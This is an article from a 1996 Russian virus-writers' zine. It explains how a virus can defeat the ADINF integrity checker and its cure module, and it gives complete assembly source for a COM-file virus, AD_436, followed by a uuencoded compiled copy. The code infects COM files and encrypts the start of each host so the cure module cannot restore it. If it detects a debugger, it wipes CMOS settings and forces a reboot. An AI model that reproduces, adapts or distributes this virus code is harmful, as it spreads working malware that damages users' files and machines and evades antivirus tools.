[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 1, September 1996                                     file 003



                           РЕВИЗОР ХУЖЕ ВИРУСА

                                                by igor Dikshew

     Если  вирус обладает защищенностью от самых распространенных и популярных
антивирусных  программ-сканеров  -фагов  и -мониторов, то поверьте, ему нечего
бояться   ревизора!   Конечно,   хорошо  если  такой  вирус  будет  абсолютной
невидимкой,  но во первых это сложно и почти нереализуемо, а во вторых, если и
найти   такую  дырку  в  защите  ревизора,  то  никто  не  гарантирует,  что в
последующих  его  версиях  она  не  будет  устранена.  Тогда как же бороться с
ревизором?  Ну для этого есть несколько способов. Вирус может использовать как
один из них, так и все сразу.
 1. Искать сам ревизор и победоносно удалять его с диска.
 2. Искать таблицы ревизора и удалять их.
 3. Искать таблицы ревизора и править в них соответствующую информацию.
 4. Игнорировать защиту на уровне ревизора, но бороться с лечащим модулем.
     Уже  слышу,  как  вы  говорите,  что  первые три способа не реализуемы по
причине  непостоянства  имен. Конечно это так, но в большинстве случаев, поиск
по имени приведет вас к желательному результату.
     А  вы  не  задумывались,  как это при инсталляции новые версии ревизора и
лечащего  модуля  друг друга находят? Конечно не по имени, а по битовой маске.
Достаточно сравнить три-четыре версии ADINF и вы подберете для себя подходящий
шам.  Да  и  в  таблицах  очень много уникальных байтовых масок, их тоже можно
использовать.
     Третий  способ  действительно  сложно  реализуем,  да  и зависит часто от
версий ADINF. Его рассматривать не будем.
     Итак, остался последний, самый надежный способ борьбы. Почему это так? Да
очень  просто!  Кого  больше сидит за компами: крутых программеров или юзеров?
То-то!  А  если учесть кол-во баг и снесенных ADINF'ом винтов, коя слава давно
уже  числится  за продуктами ДиалогНаука, то еще не всякий "крутой программер"
будет  выбирать  между  риском  на  компах  предприятия и снесением нафиг сего
могучего ревизора. Постараюсь пояснить...
     Из  того  числа  "крутых  программеров", которые обслуживают скажем отдел
АСУП на заводе, едва ли половина из них полезет разбираться с S-ICE по причине
надругательства ADINF'ом над файлом. Либо попытаются протестировать такой файл
полифагами,  что  естественно  не  должно дать никаких результатов (об этом мы
позаботимся), либо снесет нафиг инфицированный файл, что в большинстве случаев
неприемлимо, либо постарается полечить диск с помощью ADINF Cure Module. Будем
надеяться  на  последний и самый вероятный исход, дело в том, что оставить все
как  есть  "программер" тоже не может, хотя нам это глубоко сиренево, но очень
даже пригодиться в последствии.
     Итак,  если  мы предусмотрим невозможность лечения вируса лечащим модулем
или такое лечение будет равносильно "смерти" файла, то мы добьемся своей цели,
так  как  "программер"  будет  вынужден  снести  нафиг ADINF и оставить все до
лучших  времен.  Почему снести и под каким это соусом объяснить начальству? Да
потому  что  оставить  компы, пугающие ежедневно юзеров своими надписями он не
может,  справиться с вирусом он тоже не может, да и вирус ли это, если любимые
DrWeb, AidsTest и AVP молчат?
     Одной  из  главных  ступеней  защиты  вируса  от  несколько  "продвинутых
программеров"  будет являться защита от дебужирования самыми популярными среди
такого  контингента  отладчиками.  Это  Debug,  TD и AFD. Достаточно на первых
порах  просто уйти из под отладчика, что охладит пыл достаточно большого числа
исследователей. Затем перемешать защитный механизм с расшифровкой тела вируса.
Ну и совсем было бы прекрасно организовать стелс механизм.
     Это  все  как кому понравится. Вернемся к главному вопросу противостояния
ревизору  с его примочкой. Что же нужно, чтобы сделать невозможным лечение или
порчу файлов при лечении? Нужно просто похитрее закриптовать сам файл. Если вы
поксорите   тело  программы  с  постоянным  ключом,  то  восстановление  может
оказаться  возможным.  Сложный цикл криптования сильно замедлит работу вируса,
что  тоже  является нежелательным. Важно найти компромисс. Предлагаю следующую
схему  "изувечивания"  программы:  ксорим  первый  байт/слово ключом, а каждый
последующий  ксорим  с  предыдущим.  Это  легко  реализуемо,  занимает немного
времени,  но  является  непреодалимым  барьером для лечащего модуля. Во всяком
случае  до  версии  3.05. Приведу пример простейшего COM вируса, использующего
данный механизм защиты.

=== Cut ===
;                              Вирус AD_436
;                            Семейство Search
;                Поражает все COM файлы в текущем каталоге
;             Шифрует 1кБ начала программы при инфицировании
;                  Абсолютно безвреден, хорошо лечится,
;               но Adinf Cure Module против него бессилен
;----------------------------------------------------------------------------
;           (c) 1996 by I. Dikshew // [TAVC] // -=* Red Arc *=-

Model tiny
.code
.286

org 100h

START:
       jmp VIRUS
       db 100 dup (0adh)
       db 0adh
VIRUS:
       pusha
       push ds es cs
       pop ds

       ;Ступень I - закрываем клаву
       cli
       mov al,0adh
       out 64h,al
       jmp short $+2
       sti

       jmp short BEGIN

       M_Ofs equ $-VIRUS
       FMASK db '*' xor 0adh, '.' xor 0adh, 'c' xor 0adh
             db 'o' xor 0adh, 'm' xor 0adh, 0h  xor 0adh
       B_Ofs equ $-VIRUS
       Byte4 db 0cdh, 20h, 90h, 90h
Set_Dta equ $-VIRUS
        db 1ah
FFirst equ $-VIRUS
        db 4eh
WriteF equ $-VIRUS
        db 40h
FNext equ $-VIRUS
        db 4fh
SAttrFH equ $-VIRUS
        db 43h
CloseF equ $-VIRUS
        db 3eh
SAttrFL equ $-VIRUS
        db 01h
OpenH equ $-VIRUS
        db 3dh
ReadF equ $-VIRUS
        db 3fh
OpenL equ $-VIRUS
        db 02h
SetDF equ $-VIRUS
        db 57h
HanMov equ $-VIRUS
        db 42h

XOR_B   equ $-VIRUS
        db ?

BEGIN:
       ;Ступень защиты II - мешаем исполнению под отладчиком
       push ds
       push si
       mov ds,si
       mov si,0004
       mov [si+02],cs
       pop si
       pop ds

       call My_Entry
BEG_LEN equ $-VIRUS
My_Entry:
       pop bp
       sub bp,BEG_LEN
       xchg si,di
       push bp
       pop si
       add si,B_Ofs
       movsw
       movsw

       ;Ступень защиты III - проверяем пошаговое исполнение
       db 2eh
       pushf
       pop ax
       sahf
       jnb Decrypto
       mov ax,1010h
       out 70h,ax ;обнуляем к херам CMOS
       mov al,0feh
       out 64h,al ;Перезагружаем компьютер

Decrypto:

       ;Открываем клаву
       cli
       mov al,0aeh
       out 64h,al
       jmp short $+2
       sti

       call CRYPTO_IN_MEMORY
       mov ah, byte ptr [bp+Set_Dta]
       mov dx,bp
       push dx
       add dx,VIRLEN
       push dx
       int 21h
       mov ah,byte ptr [bp+FFirst]
       pop si
       pop dx
       add dx,M_Ofs
       call XOR_FileMask
       mov cx,0ffh
       int 21h
       call XOR_FileMask
FIND:
       jb Not_Found
       call Plaque
       mov ah,byte ptr [bp+FNext]
       int 21h
       jmp short FIND
Not_Found:
       mov ah,byte ptr [bp+Set_Dta]
       xor dx,dx
       mov dl,80h
       int 21h
       pop es ds
       popa
       push si
       ret
Plaque:
       mov dx,si
       add dx,1eh
       push dx
       mov ah,byte ptr [bp+SAttrFH]
       mov al,byte ptr [bp+SAttrFL]
       xor cx,cx
       int 21h
       mov ah,byte ptr [bp+OpenH]
       mov al,byte ptr [bp+OpenL]
       int 21h
       jb NextFind
       xchg ax,bx
       mov ah,byte ptr [bp+ReadF]
       push bp
       pop dx
       add dx,B_Ofs
       xor cx,cx
       mov cl,4
       int 21h
       mov al, byte ptr [bp+B_Ofs+3]
       cmp al,0adh
       jz Close_File
       jmp short Infected
Close_File:
        mov ah,byte ptr [bp+SetDF]
        mov al,byte ptr [bp+SAttrFL]
        mov dx,word ptr [si+18h]
        mov cx,word ptr [si+16h]
        int 21h
        mov ah,byte ptr [bp+CloseF]
        int 21h
NextFind:
        mov ah,byte ptr [bp+SAttrFH]
        mov al,byte ptr [bp+SAttrFL]
        pop dx
        mov cx,word ptr [si+15h]
        int 21h
        ret
infected:
        call CRYPTO_IN_FILE
        cld
        mov ah,byte ptr [bp+HanMov]
        mov al,byte ptr [bp+OpenL]
        xor cx,cx
        push cx
        push cx
        pop dx
        push dx
        push bp
        int 21h
        push bp
        pop dx
        mov cx,VIRLEN
        mov ah,byte ptr [bp+WriteF]
        int 21h
        pop di
        pop cx
        pop dx
        add di,B_Ofs
        xor ax,ax
        mov ah,byte ptr [bp+HanMov]
        int 21h
        mov byte ptr [di],0e9h
        mov ax,word ptr [si+1ah]
        sub ax,3
        mov word ptr [di+1],ax
        mov byte ptr [di+3],0adh
        mov cl,4
        xchg dx,di
        mov ah,byte ptr [bp+WriteF]
        int 21h
        jmp Close_File

CRYPTO_IN_MEMORY:
        pusha
        mov si,104h
        mov cx,bp
        sub cx,si
        cmp cx,1024
        jle CIM_1
        mov cx,1020
CIM_1:
        mov ah,byte ptr [si]
        xor ah,0adh
        mov byte ptr [si],ah
        inc si
        loop CIM_1
        popa
        ret

ReadByte:
        pusha
        mov ah,byte ptr [bp+ReadF]
        mov cx,1
        mov dx,si
        int 21h
        popa
        ret

WriteByte:
        pusha
        xor ax,ax
        xor cx,cx
        mov ah,byte ptr [bp+HanMov]
        mov dx,di
        int 21h
        mov ah,byte ptr [bp+WriteF]
        mov cx,1
        mov dx,si
        int 21h
        popa
        ret

CRYPTO_IN_FILE:
        pusha
        xor ax,ax
        xor cx,cx
        xor dx,dx
        push dx
        push dx
        mov ah,byte ptr [bp+HanMov]
        int 21h
        mov cx,word ptr [si+1ah]
        cmp cx,1024
        jle CIF_0
        mov cx,1024
CIF_0:
        mov si,bp
        add si,XOR_B
        pop dx
        pop di
CIF_1:
        call ReadByte
        mov ah,byte ptr [si]
        xor ah,0adh
        mov byte ptr [si],ah
        call WriteByte
        inc di
        loop CIF_1
        popa
        ret

XOR_FileMask:
        pusha
        mov si,dx
        xor cx,cx
        mov cl,6
XFM_1:
        mov al,byte ptr [si]
        xor al,0adh
        mov byte ptr [si],al
        inc si
        loop XFM_1
        popa
        ret

VIRLEN equ $-VIRUS
END Start
=== Cut ===

     Ну  а  для  тех,  кто плохо воспринимает смысл слов с экрана, а компилить
вирь лениво, предлагаю уже готовую реализацию в виде COM программы.

=== Cut ===
section 1 of 1 of file ad_436.lzh    -={ UUE 1.06, ARA (C) 1995 }=-

begin 644 ad_436.lzh  10-25-1996 22:23:0
M(]PM;&@U+9X!```;`@``W1(S(2`!"D%$7S0S-BY#3TVUOTT```%J8G<6-.Q?
MZ]S<;0,V#SG5VZWZU8*9@_VA[;8RO,'A2\-JO`UM!W1L.T;"G8*[_\80T3(P
MV)R52@O,"E+0J=`_0:#;#8%@5^G""(N3.37_48>\0=-`LA4>][?_]+4@^&)V
M3F[6B\#^/>*:U5I46RQ=;6AY/MRL7UH>KV0,SW`4D_?CH)`^RT"5$,`&>US>
MB;UR)351/9V<37S=CX]_>A0N3X3O[:T>R=M7(LW"`;/C)Q+ZE*>@N4(V8<IA
MJE=FQ$'+8"A-A(:7@,F<3R%"]TG+%6W-,H>]$F2:9*[5)1<;/E&K$$Z^Y%&K
M?E#I8?X&R&0>'3$[MI'V%;WTM_*`]%&S@'+)EWI%KQ\]1_X^\P19,H:9OH#M
M&S&/"B=CQV%Y!3PSD]`;-\4.AG,-<"8J)P"AJ77*3&A^9$'UQT*F.BWMI3;%
MP5[\RZ"2!"X=74_8$OFBYVHCC:?2WJQE;/ZF4Y9^,N(`)7*$^05$3IXXEA_@
M]]_M<59=>Y5$6A]T4!(G4U4P6-`V[;[I0V_;R+/.=(G0?M<$:7G;U4E;/7,I
"@`#
`
end
sum -r/size 26947/672 section (from "begin" to "end")
sum -r/size 7181/452 entire input file
=== Cut ===


                                                 (c) by Igor Dikshew [TAVC]